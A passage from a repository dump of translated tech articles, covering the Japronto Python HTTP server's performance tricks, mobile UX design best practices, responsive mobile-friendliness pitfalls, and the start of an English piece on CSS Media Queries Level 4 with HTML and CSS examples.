个连接，每个连接 24 个（管线化的）同步请求，累积起来相当于 2400 个请求。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*dy-91Ek-ecUy2kvYUe0Thg.png\">\n\nHTTP 管线化（图片版权维基百科） \n\n[HTTP 管线化](https://zh.wikipedia.org/zh-cn/HTTP%E7%AE%A1%E7%B7%9A%E5%8C%96)至关重要，因为这是 Japronto 在执行请求时考虑到的优化手段之一。\n\n大多数服务器执行管线化客户端请求的方式并不会和处理非管线化客户端请求有什么不同。也不会尝试进行优化。（事实上 Sanic 和 Meinheld 会静默丢弃管线化客户端发来的请求，这不符合 HTTP 1.1 协议。）\n\n简而言之，管线化技术让客户端不必等待响应就可以复用同一 TCP 连接发送后续的请求。为保证通信的完整性，服务端发送响应的顺序要和收到的请求的顺序一致。\n\n### 关于优化的有趣细节\n\n客户端在合并许多小 GET 请求的时候，这些请求很有可能会发到服务端的同一个 TCP 包中去（这要归功于[纳格算法](https://zh.wikipedia.org/zh-cn/%E7%B4%8D%E6%A0%BC%E7%AE%97%E6%B3%95)），随后被一次**系统调用读取**。\n\n进行一次系统调用并将数据从内核空间移动到用户空间比在进程空间内移动内存要更加昂贵。这就是为什么只执行必需的系统调用非常重要（但是也不能过少）。\n\nJapronto 收到数据并成功地解析了几个请求后，就会尝试尽快搞定所有的请求，并将响应以正确的顺序组合在一起，然后用**一次系统调用写回**。实际上内核在组合响应时亦可发挥作用，这要归功于 [scatter/gather IO](https://en.wikipedia.org/wiki/Vectored_I/O) 系统调用，不过 Japronto 还没有利用它。\n\n不过要注意管线化并不总是可行，因为个别请求可能会耗费过长时间，等待它们会毫无必要地增加延迟。\n\n在调整试探方法时请务必小心，既要考虑到系统调用的成本也要考虑到预估的完成请求的耗时。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*Xy5aoOtYNpq4DzPJUU6ihA.png\">\n\nJapronto 可以发出每秒请求数 (RPS) 中位数达 1,214,440 的分组连续数据，该数字使用内插法，取第五十百分位数算出。\n\n除了延迟对管线化客户端的写操作外，Japronto 还用到了其他技术。\n\n[Japronto](https://github.com/squeaky-pl/japronto) 几乎完全用 C 语言实现。解析器，协议，连接收割机（connection reaper)，路由以及请求和响应对象都是 C 语言拓展。\n\n除非明确要求，[Japronto](https://github.com/squeaky-pl/japronto) 会尽量推迟创建其内部结构对应的 Python 对象。比如除非在 view 中明确要求，Japronto 不会创建头部字典。所有的符号边界都已标记，但是标准化请求头的键名并创建字符串对象这种事只有在第一次被访问时才会做。\n\nJapronto 使用出色的 picohttpparser 库来解析状态行，头部以及分块的 HTTP 消息体。Picohttpparser 直接调用有（几乎所有十年来的 x86_64 CPU 都有的） SSE4.2 拓展的现代 CPU 的文字处理指令，来迅速匹配 HTTP 符号边界。I/O 交由超级赞的 uvloop 处理，uvloop 本身就是 libuv 的包装器。在最底层这就是 epoll 系统调用的桥梁，提供了异步的读写就绪通知。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*I_QzQDSDqTVf04SwsEe3IQ.png\">\n\nPicohttpparser 依赖 SSE4.2 和 CMPESTRI x86_64 intrinsic 进行解析。\n\nPython 具有垃圾回收机制，所以设计高性能系统时要小心不要给垃圾回收器带来不必要的压力。[Japronto](https://github.com/squeaky-pl/japronto) 的内部设计尽量避免循环引用，分配/释放内存亦非常节制。这是通过预先分配一些对象到所谓的「竞技场」实现的。Japronto 还会尝试复用不再被引用的 Python 对象到将来的请求上，而不是直接丢弃掉。\n\n所有分配的内存大小都是 4KB 的整数倍。精心排布的内部结构将频繁使用的数据放在非常接近的内存区域中，这就最小化了缓存未命中的概率。\n\nJapronto 尝试避免不必要的跨缓冲区拷贝，许多操作都就地完成。比如它先百分比解码（注：即 URL 解码）路径，再进行路由的匹配。\n\n### 开源贡献者们，我需要你的帮助\n\n我连续开发 [Japronto](https://github.com/squeaky-pl/japronto) 已有三月 —— 通常是在周末，也有工作日。这还是因为我放下了日常的开发工作，全身心投入到了这个项目。\n\n我想是时候和社区分享我劳动的果实了。\n\n[Japronto](https://github.com/squeaky-pl/japronto) 已实现了许多完善的特性：\n\n- 实现了 HTTP 1.x ，支持分块上传\n- 完善的 HTTP 管线化支持\n- Keep-alive 连接，可配置的 reaper\n- 支持同步和异步 view\n- 基于 fork 的 Master-multiworker 模型\n- 支持变化时重载代码\n- 简化的路由\n\n我接下来还打算研究一下 Websockets 和异步 HTTP 响应。\n\n还有许多文档和测试的工作有待完成。如果你想伸出援手，请直接在 [Twitter](http://twitter.com/squeaky_pl) 上与我联系。这是 Japronto 的 [GitHub 地址](https://github.com/squeaky-pl/japronto)。\n\n 同时，如果你的公司在招募热衷于压榨性能同时还会 DevOps 的 Python 开发者，请联系我。国外的公司我也会考虑。\n\n### 最后的话\n\n我这里提到的所有技术其实都不是 Python 独占的。它们可能也可以用在其他语言上，比如 Ruby、JavaScript 甚至 PHP。我也想做这一部分的开发，不过除非有人赞助这基本上不太现实。\n\n我想感谢 Python 社区在优化性能方面持续的投入。具体就是感谢 Victor Stinner [@VictorStinner](https://twitter.com/VictorStinner)，INADA Naoki [@methane](https://twitter.com/methane)，Yury Selivanov [@1st1](https://twitter.com/1st1) 以及全体 PyPy 团队。\n\n出于对 Python 的爱。\n"
  },
  {
    "path": "TODO/mobile-design-best-practices.md",
    "content": "> * 原文地址：[Mobile Design Best Practices](http://babich.biz/mobile-design-best-practices/)\n* 原文作者：[Nick Babich](http://babich.biz/about/)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Gocy](https://github.com/Gocy015)\n* 校对者：[phxnirvana](https://github.com/phxnirvana), [XHShirley](https://github.com/XHShirley)\n \n# 移动端设计最佳实践\n\nApp 已经成为了能够可靠地展现内容并提供服务的主流平台。但在琳琅满目的  App 市场中，一个移动应用要怎么做才能称得上实用、贴近用户并且具有价值，又能满足并留住用户呢？\n\n本文将介绍 7 个能够提供绝佳移动应用用户体验的 UX 设计准则。\n\n\n \n# 1\\. 一个界面，一个任务\n\n**让用户以更少的步骤完成他们想要的操作**\n\n你的 App 中的每一个界面都应该支持使用者**仅需操作一次，便可达到目的**。每个界面都应该设计成为某一独立功能而服务的，并且不需要做超过一次的交互操作。这样的设计使得用户上手更简单、操作更便利，在必要时添加功能也手到擒来。 \n\n拿 Uber 来举个例子吧。 Uber 明确地知道自己的用户打开应用就是为了乘车的，应用并没有展示什么冗余的信息：它只是自动定位到用户当前的位置，而用户所需要做的仅仅是选择一个上车地点。\n\n![](http://babich.biz//content/images/2016/11/1.png) \n\n\n\n# 2\\. 看不见的用户界面\n \n**内容即界面**\n\n将一切无关用户需求的元素移除而专注于展示内容。由于减少了分散注意力的元素，用户应该能够快速被引导至他们所需要的内容。**内容就是界面**。 Google Map 就是一个很好地例子 - Google 在重新设计它的时候，移除了所有非必要的面板和按钮，并说到：**地图，就是用户界面**。\n\n![](http://babich.biz//content/images/2016/11/2.png)\n\n\n \n# 3\\. 空间留白\n\n**利用负领域来让用户注意到重要内容**\n\n空白空间或『负领域』，即设计上在元素的周围、元素和元素之间或界面布局中的空白区域，常常被低估甚至是忽视。尽管很多设计师认为这是对珍贵的屏幕区域的浪费，但空白空间其实是移动设计中一个重要的元素。\n\n> 『空白空间应该被誉为一个动态元素，而不是一个没用的背景』 - Jan Tschichold\n\n空白空间不仅仅能提高界面可读性、区分内容的重要程度，它对于布局布局效果的作用同样重要，也就是说，它能够简化 UI 并提升 UX 。\n\n![](http://babich.biz//content/images/2016/11/3.png)\n\n设计的时候谨遵『化繁为简』的原则。 图片来源： Material Design\n\n\n\n\n# 4\\. 将导航简化\n\n**让导航栏一目了然** \n\n帮助用户在应用间穿梭自如应该是头等大事。移动应用的导航栏应该易于发现、易于操作而且不能占据过多空间。但是，因为和 Chrome 这样桌面浏览器相比，移动端的屏幕更小并更需要突出内容，所以要做出易用的导航栏将颇具挑战性。\n\n[标签栏以及导航栏](https://www.smashingmagazine.com/2016/11/the-golden-rules-of-mobile-navigation-design/) 因其相对较少的导航选项而非常适合移动端应用。它们的出彩之处在于它们可以展示所有重要的导航选项，并且用户只需简单地点击即可实现界面的跳转。\n\n![](http://babich.biz//content/images/2016/11/4.png)\n\n苹果 AppStore 中的导航标签栏。\n\n\n\n \n# 5\\. 单手操控 \n\n**你的设计需要适配更大的屏幕** \n\n随着 iPhone 6 和 iPhone 6 Plus 的发布，大屏和更大屏的时代已经来临。\n\n![](http://babich.biz//content/images/2016/11/5.png) \n\n下图是手机用户最常用的三种操作方式：\n\n![](http://babich.biz//content/images/2016/11/6.png)\n\n大众使用手机的基本方式。数据来源： Steven Hoober\n\n\n[85% 的受访者](http://www.uxmatters.com/mt/archives/2013/02/how-do-users-really-hold-mobile-devices.php) 习惯单手使用手机，下面的热区图展示了自 2007 年以来，用户的拇指在不同大小的 iPhone 屏幕上的活动区域。**你会发现，屏幕越大，拇指能够舒适触及的区域越小**。\n\n ![](http://babich.biz//content/images/2016/11/7.png)\n \n拇指活动区域。数据来源 Scott Hurff\n\n适配你的设计从而提升用户体验非常必要，试着让你的应用能够让用户简单（并且完全）地在大屏幕上（譬如 iPhone 6 或是 iPhone 7 ）完成单手操作。将导航元素放在拇指能够触及的地方。\n\n![](http://babich.biz//content/images/2016/11/8.png)\n\nPocket iOS 版。所有导航栏元素都在界面底部，让用户正常使用手机时可以轻松地操作。图片来源： Dmitry Kovalenko\n\n\n\n\n# 6\\. 让应用快速展示 \n\n**别让用户等待内容加载**  \n\n尽可能地开发 [流畅并能及时响应操作的应用](http://babich.biz/how-to-make-users-think-your-app-loads-faster/) 。在后台处理事件可以让用户操作的响应看起来更快。将事件分派到后台任务中有两大优点 - 它们无法被用户感知，并且在用户进行实际操作之前，它们已经开始执行了。 Instagram 中的图片上传功能就是个很好的例子，一旦用户选择分享一张图片，它就立刻开始上传了。\n\n![](http://babich.biz//content/images/2016/11/9.png)\n\nInstagram 在后台上传图片的同时建议用户为其添加标签，而这之后当用户真正要点击分享按钮的时候，上传很可能已经完成，此时便可以立刻分享他们的图片了。\n\n\n \n\n# 7\\. 慎用推送通知\n\n**发推送之前请三思**  \n\n日复一日，用户被毫无用处的推送信息狂轰滥炸，极大地影响了他们的日常活动并且带来了许多烦恼。**烦人的推送通知是用户卸载移动应用的首要原因（71% 的受访者）。**\n\n![](http://babich.biz//content/images/2016/11/10.png)\n\n移动终端的宗旨应该是让每条消息物有所值。不要发那些以『让他们打开应用』为目的的通知，当且仅当你认为这条消息 [对用户有价值](http://babich.biz/how-to-create-mobile-notifications-that-users-actually-want/) 的时候才进行推送。\n\n**小贴士：**建立一个有效的移动应用通知体系的最优策略应该是使用多元的消息类型 - 推送通知、邮件提醒、应用内通知以及新消息通知。让消息多样化 - 多种消息应该能完美的协同工作来为用户创造上佳的体验。\n\n![](http://babich.biz//content/images/2016/11/11.jpeg)\n \n\n根据紧急程度和内容来选择合适的推送手段。 来源： Appboy\n\n\n\n\n# 总结\n\n移动应用设计中最重要的就是要让应用既实用又直观。如果一个应用缺乏实用性，那么它对用户而言没有任何实际价值，用户也就没有理由使用它了。如果一个应用非常实用但却需要花费许多时间和精力才能学会使用，用户是不会花那么多时间来学习使用的。而一个好的 UI 以及 UX 设计最终就是要解决上述的两个问题。\n\n感谢阅读！\n\t"
  },
  {
    "path": "TODO/mobile-friendly.md",
    "content": "\n  > * 原文地址：[Is your site as mobile friendly as you think?](https://boagworld.com/mobile-web/mobile-friendly/)\n  > * 原文作者：[Paul Boag](https://boagworld.com/boagworks/)\n  > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n  > * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/mobile-friendly.md](https://github.com/xitu/gold-miner/blob/master/TODO/mobile-friendly.md)\n  > * 译者：[Lai](https://github.com/laiyun90)\n  > * 校对者：[Tobias Lee](https://github.com/TobiasLee) [starlee](https://github.com/summerstarlee)\n\n # 你的站点如你所想的移动友好吗？\n\n  我们通常认为响应式的网站会让我们的站点移动友好，但是情况并非如此。仍然有很多方式会搞砸用户体验，并降低我们在搜索结果中的排名。\n\n[![你想得到更多的工作机会吗？更多重复的业务？更多来自客户的尊重？更多的收入？加入我们即将到来的研讨会吧。](https://boagworld-cdn.sirv.com/Images/Blog-Images/UX-Workshop.jpg)](https://boagworld.com/usability/offer-kick-ass-user-experience-services/)\n\n[https://audio.simplecast.com/77569.mp3](https://audio.simplecast.com/77569.mp3)\n\n**收听这篇文章**，并在 [iTunes](https://itunes.apple.com/gb/podcast/digital-insights/id997054983)、[谷歌音乐 App](https://play.google.com/music/m/I5vunhwsonxo2ifhjuxkmh73rse?t=Digital_Insights)、[RSS](http://simplecast.fm/podcasts/1178/rss) 上订阅关注我们 | [下载音频](https://audio.simplecast.com/77569.mp3)\n\n这篇文章由 [交互设计基础](https://www.interaction-design.org/courses?ep=boagworld) 赞助。\n\n我们都知道一个网站 [移动](https://boagworld.com/category/mobile-web/) 友好的重要性，我们中的大多数人采用 [响应式设计](https://www.interaction-design.org/literature/topics/responsive-design?ep=boagworld) 作为解决方案。毫无疑问，响应式 [设计](https://boagworld.com/category/design/) 已经改变了移动网络。一般来说，它提高了 [用户体验](https://boagworld.com/category/usability/)、使网站更易管理、并避免维护多个版本的需要。\n\n最近当我浏览 [交互设计基础](https://www.interaction-design.org/?ep=boagworld) 的课程时，我思考了一些东西。我看到一个 [关于移动用户体验设计的课程](https://www.interaction-design.org/courses/mobile-user-experience-design/?ep=boagworld)，我意识到，尽管响应式网站很好，但它绝不是一颗银弹。\n\n参见：[你从未听说过的最重要的 UX 教育来源](https://boagworld.com/reviews/important-source-ux-education-youve-never-heard/)\n\n通常，响应式设计可能被实现地很糟糕。不幸的是，这也会让我们陷入一种虚假的安全感中。仅仅因为我们采用了响应式设计，我们就认为我们已经「解决了移动性问题」。但事实并非如此。\n\n让我给你举一些例子，说明哪里可能出问题。从最大的问题开始，那就是半吊子的响应式网站。\n\n### 你的全部站点具有响应性吗？\n\n当你从零开始重新设计网站时，以一种响应式的方式来构建是完全有意义的。但是用这种方式对现有网站（特别是大型网站）进行响应式改造时，可能会是一场噩梦。\n\n> 响应式网站设计会让我们陷入一种虚假的安全感。我们认为我们已经解决了移动问题。\n\n[戳这里推特一下](https://twitter.com/intent/tweet?source=webclient&amp;text=Responsive+web+design+lulls+us+into+a+false+sense+of+security.+We+think+we+have+solved+the+mobile+problem.+via+http://boagworld.com/mobile-web/mobile-friendly/)\n\n这是我很多客户所面临的问题。大多数他们的网站都至少有上万页，用几年时间构建而成。使其移动友好是极具挑战性的。\n\n为了减少所涉及的工作，他们做了一个决定。他们决定专注于使核心页面移动友好且具有响应性，而忽略其他页面。\n\n尽管我能够理解他们的决定，但从用户体验的角度而言这是很糟糕的。没什么比错误地以为自己正在浏览一个移动友好的网站，但发现自己只是陷于一个不能阅读和浏览的桌面优化网页更令人沮丧的了。\n\n这些组织应该仔细考虑他们是否需要这样大型的网站。就我个人经验而言，他们很少这样做，只是盲目地将内容从一个版本迁移到下一个版本。\n另请参见：[为什么对疯狂地内容迁移说不](https://boagworld.com/content-strategy/content-migration/)\n### 你是否砍掉了功能？\n\n当遇到一些棘手的功能时，设计师面临着类似的问题。为了做到移动友好，有些东西太复杂了。我们没有加倍努力、找到一个创造性的解决方案，而是选择了一条阻力最小的道路。我们说服自己，移动用户不需要这些功能，只需从网站上去掉这些即可。\n\n当然，这无疑是天真的。移动用户并没有什么神奇的差异。他们也是那些在桌面上使用你站点的用户，只是刚刚换了设备。见鬼，我甚至看见他们坐在离笔记本电脑触手可及的地方使用手机！我们不能仅仅基于设备就对他们的需求做出假设。\n\n### 你是否支持触摸手势？\n\n但是移动友好的错误并不全在于去掉功能。无法添加一些功能可能同样危险。比如，对触摸手势的支持。用户在移动网站无法滑动和缩放时，难怪他们往往会更喜欢移动应用。 \n\n![](https://boagworld-cdn.sirv.com/Images/Blog-Images/mobile-friendly-01.jpg?profile=Medium&amp;quality=60&amp;scale.width=1560)\n\n这么多的手势，我们都不支持。\n作为网站设计师，我们真的应该允许用户滑动轮播图和缩放图片。这种功能需求通常会被忽视，因为我们是如此专注于为不同的断点调整设计。\n\n### 你的内容适用于你的设计吗？\n\n要做到移动友好并不仅仅是改变设计，也需要改变内容本身。以表单为例，我们在拥有更大屏幕的设备（桌面）上用表单来呈现数据，并不意味着我们也要在移动设备上这样做。我们可能会得出这样的结论：显示一个交互式图表或某种形式的计算器更具有移动友好性。\n\n![](https://boagworld-cdn.sirv.com/Images/Blog-Images/mobile-friendly-02.gif?profile=Small&amp;quality=60&amp;scale.width=1148)\n\n我们需要调整内容而不仅仅是设计，将表单和图表变成更具移动友好的形式。\n下面说说信息图表。他们在大屏幕看起来很棒，但是在移动设备上变得难以辨认。当然我们也可以让用户自己去缩放查看，并号称我们该做的都做完了，或者我们可以重新进行设计。也许我们应该将信息图表分解成一个情节串联板（storyboard）或者用视频来代替。\n\n### 你的移动站点是否具有可读性？\n\n可读性的问题并不仅仅局限于图像和表格，文本内容也有同样的问题。仅仅增加一个断点来重新定位元素并不能创造移动友好性并提高可读性体验。它经常大大缩短本文行的长度导致阅读变得痛苦。\n\n设计师们在这方面做了一些努力，包括使字体大小相较于断点自动进行缩小。但是我在移动设备上访问过的很多站点的字体仍然会变的很小，以致难以辨识。\n\n最后，还有颜色的问题。设计师通常未能考虑到移动用户总是与屏幕眩光作斗争，所以会设计微妙的颜色色调。毫不夸张地说，这会导致很差的移动阅读体验。\n\n![](https://boagworld-cdn.sirv.com/Images/Blog-Images/mobile-friendly-03.jpg?profile=Medium&amp;quality=60&amp;scale.width=1560)\n\nDoctors Without Borders 只是许多难以做到可读性的移动站点之一。时常存在单行长度过短、颜色对比糟糕和文本过小的问题。\n\n### 你是否过于关注最新最好的智能手机？\n\n当然，即使我们在移动设备上，这些可读性问题还是看不出来。这是因为我们拥有最新最强大的智能手机。它有一个 retina 屏幕，亮度的耀眼程度连太阳也无法与之匹敌！但是不是每个人都有这样的设备。即使你忽略功能型手机，体验也会有巨大的差异。 \n\n> 我们需要停止使用脑海中的具体设备进行设计。\n\n[推特一下这个](https://twitter.com/intent/tweet?source=webclient&amp;text=We+need+to+stop+designing+with+specific+devices+in+mind.+via+http://boagworld.com/mobile-web/mobile-friendly/)\n\n当然，肯定会有断点的存在。我仍然看到设计师们根据设备设置断点，而不是根据内容的适当位置。他们设计了适配 iPad 的尺寸、适配 iPhone 的尺寸等等。但是实际上，设备尺寸是非常多的，我们应该停止考虑特定的设备。 \n\n### 你的性能移动友好吗？\n\n我们应该考虑性能问题。事实上，这可能是响应式设计让我们失望的唯一的、最大的领域。可千万别误会，我并不是说响应式设计让我们的站点变慢了。只是因为我们并没有做些什么来改善它，而这正是移动设备所需要的。\n\n图像大小无疑是罪魁祸首。使用媒体查询可能会在视觉上缩小图片的比例，但是对减少图片大小和加载时间是没有帮助的。在使用蜂窝网络时，这是很不好的。添加字体、库、框架以及所有的其他元素，都会使今天的网站膨胀，导致加载时间过长。\n\n![](https://boagworld-cdn.sirv.com/Images/Blog-Images/mobile-friendly-04.jpg?profile=Small&amp;quality=60&amp;scale.width=1148)\n\n在移动设备上测试站点的性能会令人沮丧！\n但是这不仅仅是下载大小和蜂窝网络速度的问题。性能也是影响设备的一个问题。很多移动设备缺乏像笔记本电脑、台式电脑或平板电脑一样的处理能力。结果是，它们很难处理一些建立在许多现代网站的更密集的 Javascript。\n\n### 填写数据会移动友好吗？\n\n接下来，我们来看看在移动设备上输入数据时，我遇到的一个特殊的 bug。也许是因为我老了，不能以每小时一百万英里的速度在这些小型虚拟键盘上打字，但是在移动设备上输入数据体验确实很糟糕。\n\n作为网页设计师，我们似乎让网站的问题恶化了一百倍。当输入数值数据时，无法显示数值键盘。当输入密码时，我们会隐藏用户正在输入的内容，尽管事实上在移动设备上输入错误是常有的事儿。其实，我们就根本不应该指望移动用户填写密码。还有其他方法，比如文本通知、电子邮件链接或者 Touch ID。\n\n![](https://boagworld-cdn.sirv.com/Images/Blog-Images/mobile-friendly-05.jpg?profile=Medium&amp;quality=60&amp;scale.width=1560)\n\nSlack 在避免用户输入密码方面做得很好。\n\n有很多种情况下可以避免或简化数据输入。在会话之间记住用户的登录用户名是一个好的开始。但是我们应该改进表单的设计，避免繁琐的表单元素，比如日期选择或冗长的下拉菜单。\n\n### 链接之间是否太过紧密？\n\n谈到复杂的交互，我惊讶地发现设计师似乎很少考虑使用触摸屏所带来的挑战。我发现很多网站声称移动友好，但是与之交互时却发现并非如此。为最大化屏幕使用率，链接和按钮往往排列的非常紧密，以至于变得不能被点击。\n\n再者，仅仅重新定位内容是不够的。我们需要确保元素周围的空间扩大，以避免由于使用手指而导致的精确度不足。诚然，空间是非常宝贵的，但是如果我们明智地利用空间，链接就没有理由不易被选择。只要看看大多数的移动应用程序就懂了。\n另见：[移动 UX 设计](https://www.interaction-design.org/literature/topics/mobile-ux-design?ep=boagworld)\n### 用户必须忍受位置固定的内容吗？\n\n谈到空间的缺乏的问题，为什么尽管所有的设计师都希望创建一个移动友好的站点，但是我们认为在页面上添加固定位置的内容是可接受的。这显著减少了其他内容元素的可用空间。\n\n将位置固定的导航转移到你站点的移动视图之前，请仔细考虑。同样，消除那些覆盖页面和对话窗口，以及那些固定位置的社交媒体图标时也需仔细考虑。它们在移动站点上没有位置。\n\n![](https://boagworld-cdn.sirv.com/Images/Blog-Images/mobile-friendly-06.jpg?profile=Small&amp;quality=60&amp;scale.width=1148)\n\n由于固定位置的元素数量，Mashable 上的内容几乎不能在移动设备上阅读。\n\n### 我是一个可怕的伪君子\n\n如果你在移动设备上浏览这个网站，你可能会想我现在是多么虚伪。我使用位置固定的导航、在某些地方链接过于紧密并且陷入我之前概述的其他错误中。\n\n我的理由与你一样，缺乏时间和金钱。对我来说让网站响应并认为它移动友好是更容易的。但是自从我设计了这个站点，随着手机变得越来越重要，世界发生了变化。\n\nGoogle 和其他搜索引擎都开始惩罚在搜索结果中未能提供良好移动友好体验的网站。在移动设备上浏览站点的用户数量正在猛涨。一个简单的响应式网站将不再够用。如果我们想要提供一个良好的体验或者在搜索引擎中有一个较好的排名，就更加远远不够了。\n\n我们将不得不调整我们的优先级，以便创造一个移动友好的体验。这与一个伟大的桌面体验同样重要（甚至更加重要）。\n\n### [注册移动用户体验设计课程](https://www.interaction-design.org/courses/mobile-user-experience-design/?ep=boagworld)\n\n**移动使用量早在 2014 年就超过了台式机。从那时起，设备间的差距就只增不减，随着手机使用量的增加，台式机的用户流失增加了一倍。移动流量的这种增长，使移动用户体验成为一个产品或者网站成功的最重要的原因之一。这意味着，如果想跟上时代，设计师、营销人员和开发人员所涉及的技能绝对是非常重要的。这个课程将教会你如何做 — [设计优秀的移动用户界面，着眼于移动可用性最佳实践](https://www.interaction-design.org/courses/mobile-user-experience-design/?ep=boagworld)。**\n\n  ---\n\n  > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n  \n"
  },
  {
    "path": "TODO/mobile-small-portrait-slow-interlace-monochrome-coarse-non-hover-first.md",
    "content": "> * 原文地址：[Mobile, Small, Portrait, Slow, Interlace, Monochrome, Coarse, Non-Hover, First](https://css-tricks.com/mobile-small-portrait-slow-interlace-monochrome-coarse-non-hover-first/)\n> * 原文作者：本文已获原作者 [ANDRÉS GALANTE](https://css-tricks.com/author/agalante/) 授权\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：\n> * 校对者：\n\n# Mobile, Small, Portrait, Slow, Interlace, Monochrome, Coarse, Non-Hover, First #\n\nA month ago I [explored the importance of relying on Interaction Media Features](https://css-tricks.com/touch-devices-not-judged-size/) to identify the user's ability to hover over elements or to detect the accuracy of their pointing device, meaning a fine pointer like a mouse or a coarse one like a finger.\n\nBut it goes beyond the input devices or the ability to hover; the screen refresh rate, the color of the screen, or the orientation. Making assumptions about these factors based on the width of the viewport is not reliable and can lead to a broken interface.\n\nI'll take you on a journey through the land of [Media Query Level 4](https://www.w3.org/TR/mediaqueries-4/#color-gamut) and explore the opportunities that the [W3C CSS WG](https://www.w3.org/Style/CSS/members.en.php3) has drafted to help us deal with all the device fruit salad madness.\n\n### Media queries ###\n\nMedia queries, in a nutshell, inform us about the context in which our content is being displayed, allowing us to scope and optimize our styles. Meaning, we can display the same content in different ways depending on the context.\n\nThe [Media Queries Level 4 spec](https://www.w3.org/TR/mediaqueries-4/) answers two questions:\n\n- What is the device viewport size and resolution?\n- What is the device capable of doing?\n\nWe can detect the device type where the document is being displayed using the media type keywords `all`, `print`, `screen` or `speech` or you can get more granular using Media Features.\n\n### Media Features ###\n\nEach Media Feature tests a single, specific feature of the device. There are five types:\n\n- [Screen Dimensions Media Features](https://www.w3.org/TR/mediaqueries-4/#mf-dimensions) detect the viewport size and orientation.\n- [Display Quality Media Features](https://www.w3.org/TR/mediaqueries-4/#mf-display-quality) identify the resolution and update speed.\n- [Color Media Features](https://www.w3.org/TR/mediaqueries-4/#mf-colors) spot the amount of colors a device is capable to displaying.\n- [Interaction Media Features](https://www.w3.org/TR/mediaqueries-4/#mf-interaction) find if a device is able to hover and the quality of its input device.\n- [Scripting Media Features](https://www.w3.org/TR/mediaqueries-4/#mf-scripting) recognize if scripting languages, for example javascript, are supported.\n\nWe can use these features on their own or combine them using the keyword `and` or a comma to mean \"or\". It's also possible to negate them with the keyword `not`. \n\nFor example:\n\n```\n@media screen and ((min-width: 50em) and (orientation: landscape)), print and (not(color)){\n\t...\n\t}\n```\n\nScopes the styles to landscape orientated screens that are less than or equal to `50em` wide, or monochrome print outputs.\n\nThe best way to understand something is by actually doing it. Let's delve into the corner cases of a navigation bar to test these concepts.\n\n### The Unnecessarily Complicated Navbar ###\n\nOne of the best pieces of advice that Brad Frost gave us on \"[7 Habits of Highly Effective Media Queries](http://bradfrost.com/blog/post/7-habits-of-highly-effective-media-queries/)\" is not to go overboard.\n\n> The more complex we make our interfaces the more we have to think in order to properly maintain them. - [Brad Frost](http://bradfrost.com/)\n\nAnd that's exactly what I'm about to do. Let's go overboard!\n\nBe aware that the following demo was designed as an example to understand what each Media Feature does: if you want to use it (and maintain it), do it at your own risk (and [let me know](https://twitter.com/andresgalante)!).\n\nWith that in mind, let's start with the less capable smaller experience, also know as \"The mobile, small, portrait, slow, interlace, monochrome, coarse, non-hover first\" approach.\n\n### The HTML structure ###\n\nTo test the media query features, I started with a very simple structure. On one side: a `header` with an `h1` for a brand name and a `nav` with an unordered list. On the other side: a `main` area with a placeholder title and text.\n\n```\nHTML\n\n<div class=\"container\">\n  <header role=\"banner\">\n    <h1>Brand Name</h1>\n    <nav>\n      <ul>\n        <li><a href=\"#main\">Home</a></li>\n        <li><a href=\"/about\">About</a></li>\n        <li><a href=\"/products\">Products</a></li> \n        <li><a href=\"/login\">Login</a></li>\n      </ul> \n    </nav> \n  </header>\n  <main id=\"main\">\n    <h2>Content goes here</h2>\n    \n    <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Consectetur deserunt, suscipit velit itaque vitae necessitatibus, impedit pariatur eos. Pariatur beatae sed repellendus iusto doloribus quidem asperiores quia exercitationem sint dicta!</p>\n    \n  </main>\n</div>\n```\n\n```\nResult\n\nBrand Name\n\nHome\nAbout\nProducts\nLogin\nContent goes here\n\nLorem ipsum dolor sit amet, consectetur adipisicing elit. Consectetur deserunt, suscipit velit itaque vitae necessitatibus, impedit pariatur eos. Pariatur beatae sed repellendus iusto doloribus quidem asperiores quia exercitationem sint dicta!\n```\n\n### Default your CSS for less capable devices and smaller viewport ###\n\nAs I mentioned before, we are thinking of the less capable smaller devices first. Even though we are not scoping styles yet, I am considering an experience that is:\n\n- `max-width: 45em` small viewport, less than or equal to 45em wide\n- `orientation: portrait` portrait viewport, height is larger than width\n- `update: slow`  the output device is not able to render or display changes quickly enough for them to be perceived as a smooth animation.\n- `monochrome` all monochrome devices\n- `pointer: coarse` the primary input mechanism has limited accuracy, like a finger\n- `hover: none` indicates that the primary pointing system can't hover\n\nLet's take care of positioning. For portrait, small, touchscreen devices, I want to pin the menu at the bottom of the viewport so users have comfortable access to the menu with their thumbs.\n\n```\nnav {\n  position: fixed;\n  bottom: 0;\n  left: 0;\n  right: 0;\n}\n```\n\nSince we are targeting touchscreen devices, it is important to increase the touch target. On [Inclusive Design Patterns](https://www.smashingmagazine.com/inclusive-design-patterns/), [Heydon Pickering](https://twitter.com/heydonworks) mentions that it's still unclear what the magical size of a touch area is, different vendors recommend different sizes. \n\nPickering mentions Anthony Thomas's [article about finger-friendly experiences](http://uxmovement.com/mobile/finger-friendly-design-ideal-mobile-touch-target-sizes/) and Patrick H Lauke research for [The W3C Mobile Accessibility Taskforce into touch / pointer target size](https://www.w3.org/WAI/GL/mobile-a11y-tf/wiki/Summary_of_Research_on_Touch/Pointer_Target_Size), and the main takeaway is, \"...to make each link larger than the diameter of an adult finger pad\".\n\nThat's why I've increased the height of the menu items to `4em`. Since this is not scoped, it'll be applied to 